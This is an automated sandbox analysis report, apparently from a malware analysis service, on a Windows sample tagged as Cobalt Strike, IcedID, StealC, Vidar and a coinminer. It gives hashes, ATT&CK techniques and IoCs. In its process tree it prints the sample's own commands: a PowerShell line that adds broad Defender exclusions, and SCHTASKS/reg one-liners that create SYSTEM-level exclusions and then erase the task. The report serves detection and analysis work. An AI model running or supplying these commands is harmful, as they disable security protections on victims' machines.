beb55adc51fcef473e208cba9517a1cc78df76bae160b3dc0dcf9731f139f4a2

Analysis

max time kernel
148s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
25/10/2026, 20:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
Size 30.5MB
Sample261025-yrvvbaswav
SHA256 beb55adc51fcef473e208cba9517a1cc78df76bae160b3dc0dcf9731f139f4a2
MD5 609163f1103d114d5cd971b5ef73b12b
SHA1 96bc8173bbb3d5d0d78b42a43dc1b2d357531f06
SHA512 5afd21f42f2de694ff1b46f1616b03e5638949cf2af3f9f088de2ca2b1da81211194f40af620b7e1656f7323c808ecff376957da6791b4e2c1de6b24a9ed031b
SSDEEP 196608:PZKC/p+HINcZBAwLYhuR9lfn+OfIwYooiJiGD5y4IIYCYp:8C/p+HuPOc4Y
TLSH
T17167181BFA809EB7F546963548DB4BA07372E9761752078F70B0B32DBFAE3802E81545
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	eoZqVh.exe

Windows security bypass 2 TTPs 8 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\HhVoF2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe

Detects executables calling ClearMyTracksByProcess 1 IoCs

resource	yara_rule
behavioral2/memory/1264-712-0x0000000010000000-0x0000000010061000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_ClearMyTracksByProcess

Detects executables containing artifacts associated with disabling Widnows Defender 9 IoCs

resource	yara_rule
behavioral2/memory/1264-682-0x0000000003810000-0x0000000003FED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1264-686-0x0000000003810000-0x0000000003FED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1264-709-0x0000000003810000-0x0000000003FED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1264-721-0x0000000003810000-0x0000000003FED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1264-702-0x0000000003810000-0x0000000003FED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1264-746-0x0000000003810000-0x0000000003FED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/1492-755-0x0000000002E60000-0x000000000363D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/6072-761-0x0000000002EC0000-0x000000000369D000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender
behavioral2/memory/4592-765-0x0000000003310000-0x0000000003AED000-memory.dmp	INDICATOR_SUSPICIOUS_DisableWinDefender

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
5696	powershell.exe
4212	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	eoZqVh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 8 IoCs

pid	Process
5160	maRh26.exe
5132	maRh26.exe
1264	eoZqVh.exe
1492	eoZqVh.exe
6072	eoZqVh.exe
4592	8KEE03l2.exe
2576	eoZqVh.exe
3044	8KEE03l2.exe

Loads dropped DLL 8 IoCs

pid	Process
5160	maRh26.exe
5132	maRh26.exe
1264	eoZqVh.exe
1492	eoZqVh.exe
6072	eoZqVh.exe
4592	8KEE03l2.exe
2576	eoZqVh.exe
3044	8KEE03l2.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
252	icacls.exe
3860	icacls.exe
204	icacls.exe
4024	icacls.exe
4820	icacls.exe
4948	icacls.exe
2728	icacls.exe
3764	icacls.exe
2352	icacls.exe
2272	icacls.exe
3816	icacls.exe
4124	icacls.exe
4148	icacls.exe
5700	icacls.exe
3920	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\HhVoF2\\maRh26.exe\""	maRh26.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\eoZqVh\\eoZqVh.exe\""	eoZqVh.exe

Indicator Removal: Clear Persistence 1 TTPs 8 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
1164	cmd.exe
4664	cmd.exe
2836	cmd.exe
5880	cmd.exe
4500	cmd.exe
3420	cmd.exe
4788	cmd.exe
3928	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	maRh26.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\eoZqVh\thumbs.db	maRh26.exe
File created	C:\Program Files (x86)\8jnYaOO21\image.png	eoZqVh.exe
File created	C:\Program Files (x86)\8jnYaOO21\XPSPLOG.dll	eoZqVh.exe
File created	C:\Program Files (x86)\eoZqVh\XPSPLOG.dll	maRh26.exe
File opened for modification	C:\Program Files (x86)\8jnYaOO21	eoZqVh.exe
File opened for modification	C:\Program Files (x86)\8jnYaOO21\image.png	eoZqVh.exe
File created	C:\Program Files (x86)\8jnYaOO21\thumbs.db	eoZqVh.exe
File opened for modification	C:\Program Files (x86)\eoZqVh\image.png	maRh26.exe
File opened for modification	C:\Program Files (x86)\8jnYaOO21\8KEE03l2.exe	eoZqVh.exe
File opened for modification	C:\Program Files (x86)\eoZqVh	maRh26.exe
File created	C:\Program Files (x86)\8jnYaOO21\8KEE03l2.exe	eoZqVh.exe
File opened for modification	C:\Program Files (x86)\8jnYaOO21\thumbs.db	eoZqVh.exe
File opened for modification	C:\Program Files (x86)\8jnYaOO21\XPSPLOG.dll	eoZqVh.exe
File created	C:\Program Files (x86)\eoZqVh\eoZqVh.exe	maRh26.exe
File created	C:\Program Files (x86)\eoZqVh\image.png	maRh26.exe
File created	C:\Program Files (x86)\eoZqVh\thumbs.db	maRh26.exe
File opened for modification	C:\Program Files (x86)\eoZqVh\eoZqVh.exe	maRh26.exe
File opened for modification	C:\Program Files (x86)\eoZqVh\XPSPLOG.dll	maRh26.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
4736	sc.exe
4952	sc.exe
4956	sc.exe
5356	sc.exe
4360	sc.exe
5512	sc.exe
5784	sc.exe
4056	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	eoZqVh.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaveActive = "0"	eoZqVh.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\SCRNSAVE.EXE	eoZqVh.exe

Executes a command shell one-liner 1 TTPs 25 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6032	cmd.exe
3980	cmd.exe
2504	cmd.exe
4928	cmd.exe
1336	cmd.exe
1168	cmd.exe
5256	cmd.exe
2876	cmd.exe
5516	cmd.exe
5188	cmd.exe
552	cmd.exe
1144	cmd.exe
4968	cmd.exe
1232	cmd.exe
5640	cmd.exe
4224	cmd.exe
4944	cmd.exe
2684	cmd.exe
1176	cmd.exe
1496	cmd.exe
4040	cmd.exe
2672	cmd.exe
5020	cmd.exe
5184	cmd.exe
1768	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	eoZqVh.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	maRh26.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	maRh26.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	eoZqVh.exe

System Location Discovery: System Language Discovery 1 TTPs 39 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eoZqVh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eoZqVh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eoZqVh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8KEE03l2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	eoZqVh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	8KEE03l2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\SCRNSAVE.EXE	eoZqVh.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaveActive = "0"	eoZqVh.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	eoZqVh.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-4154726816-2055034831-2297277433-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	eoZqVh.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5020	schtasks.exe
3428	schtasks.exe
1228	schtasks.exe
5452	schtasks.exe
3208	schtasks.exe
4924	schtasks.exe
4492	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
1172	2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe
5160	maRh26.exe

Suspicious behavior: LoadsDriver 8 IoCs

pid	Process
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found
820	Process not Found

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	5696	powershell.exe
Token: SeIncreaseQuotaPrivilege	5696	powershell.exe
Token: SeSecurityPrivilege	5696	powershell.exe
Token: SeTakeOwnershipPrivilege	5696	powershell.exe
Token: SeLoadDriverPrivilege	5696	powershell.exe
Token: SeSystemProfilePrivilege	5696	powershell.exe
Token: SeSystemtimePrivilege	5696	powershell.exe
Token: SeProfSingleProcessPrivilege	5696	powershell.exe
Token: SeIncBasePriorityPrivilege	5696	powershell.exe
Token: SeCreatePagefilePrivilege	5696	powershell.exe
Token: SeBackupPrivilege	5696	powershell.exe
Token: SeRestorePrivilege	5696	powershell.exe
Token: SeShutdownPrivilege	5696	powershell.exe
Token: SeDebugPrivilege	5696	powershell.exe
Token: SeSystemEnvironmentPrivilege	5696	powershell.exe
Token: SeRemoteShutdownPrivilege	5696	powershell.exe
Token: SeUndockPrivilege	5696	powershell.exe
Token: SeManageVolumePrivilege	5696	powershell.exe
Token: 33	5696	powershell.exe
Token: 34	5696	powershell.exe
Token: 35	5696	powershell.exe
Token: 36	5696	powershell.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 5160 wrote to memory of 5696	5160	maRh26.exe	91
PID 5160 wrote to memory of 1164	5160	maRh26.exe	93
PID 1164 wrote to memory of 5020	1164	cmd.exe	96
PID 1164 wrote to memory of 2504	1164	cmd.exe	98
PID 5160 wrote to memory of 4664	5160	maRh26.exe	100
PID 1164 wrote to memory of 4424	1164	cmd.exe	103
PID 5160 wrote to memory of 2836	5160	maRh26.exe	104
PID 4664 wrote to memory of 3428	4664	cmd.exe	106
PID 2836 wrote to memory of 1228	2836	cmd.exe	107
PID 2836 wrote to memory of 4896	2836	cmd.exe	108
PID 4664 wrote to memory of 832	4664	cmd.exe	109
PID 4664 wrote to memory of 4732	4664	cmd.exe	111
PID 2836 wrote to memory of 3676	2836	cmd.exe	112
PID 5160 wrote to memory of 5880	5160	maRh26.exe	113
PID 5880 wrote to memory of 5452	5880	cmd.exe	115
PID 5160 wrote to memory of 4500	5160	maRh26.exe	118
PID 5880 wrote to memory of 2740	5880	cmd.exe	119
PID 5880 wrote to memory of 2660	5880	cmd.exe	122
PID 4500 wrote to memory of 3208	4500	cmd.exe	123
PID 4500 wrote to memory of 1540	4500	cmd.exe	124
PID 4500 wrote to memory of 432	4500	cmd.exe	126
PID 4944 wrote to memory of 4940	4944	cmd.exe	130
PID 4928 wrote to memory of 3112	4928	cmd.exe	131
PID 1336 wrote to memory of 1276	1336	cmd.exe	132
PID 1768 wrote to memory of 5724	1768	cmd.exe	133
PID 5160 wrote to memory of 1264	5160	maRh26.exe	134
PID 1264 wrote to memory of 1144	1264	eoZqVh.exe	138
PID 1264 wrote to memory of 6032	1264	eoZqVh.exe	139
PID 1264 wrote to memory of 4968	1264	eoZqVh.exe	141
PID 1264 wrote to memory of 1232	1264	eoZqVh.exe	145
PID 1144 wrote to memory of 252	1144	cmd.exe	147
PID 1264 wrote to memory of 5516	1264	eoZqVh.exe	148
PID 5516 wrote to memory of 5700	5516	cmd.exe	150
PID 1264 wrote to memory of 5020	1264	eoZqVh.exe	151
PID 5020 wrote to memory of 3920	5020	cmd.exe	153
PID 1264 wrote to memory of 2504	1264	eoZqVh.exe	154
PID 2504 wrote to memory of 2272	2504	cmd.exe	156
PID 1264 wrote to memory of 2876	1264	eoZqVh.exe	157
PID 2876 wrote to memory of 3860	2876	cmd.exe	159
PID 1264 wrote to memory of 4224	1264	eoZqVh.exe	160
PID 4224 wrote to memory of 4148	4224	cmd.exe	162
PID 1264 wrote to memory of 5256	1264	eoZqVh.exe	163
PID 5256 wrote to memory of 2352	5256	cmd.exe	165
PID 1264 wrote to memory of 3980	1264	eoZqVh.exe	166
PID 3980 wrote to memory of 3764	3980	cmd.exe	168
PID 1264 wrote to memory of 2672	1264	eoZqVh.exe	169
PID 2672 wrote to memory of 2728	2672	cmd.exe	171
PID 1264 wrote to memory of 4040	1264	eoZqVh.exe	172
PID 4040 wrote to memory of 4948	4040	cmd.exe	174
PID 1264 wrote to memory of 5640	1264	eoZqVh.exe	175
PID 5640 wrote to memory of 3816	5640	cmd.exe	177
PID 1264 wrote to memory of 2684	1264	eoZqVh.exe	178
PID 2684 wrote to memory of 4820	2684	cmd.exe	180
PID 1264 wrote to memory of 1496	1264	eoZqVh.exe	181
PID 1496 wrote to memory of 4024	1496	cmd.exe	183
PID 1264 wrote to memory of 1176	1264	eoZqVh.exe	184
PID 1176 wrote to memory of 4124	1176	cmd.exe	186
PID 1264 wrote to memory of 1168	1264	eoZqVh.exe	187
PID 1168 wrote to memory of 204	1168	cmd.exe	189
PID 1264 wrote to memory of 4212	1264	eoZqVh.exe	192

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	eoZqVh.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-24_609163f1103d114d5cd971b5ef73b12b_cobalt-strike_coinminer_icedid_stealc_vidar.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1172

C:\Users\Public\HhVoF2\maRh26.exe
"C:\Users\Public\HhVoF2\maRh26.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious use of AdjustPrivilegeToken
  PID:5696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HhVoF2\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:1164
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\HhVoF2\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5020
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3428
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:832
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4732
- C:\Windows\System32\cmd.exe
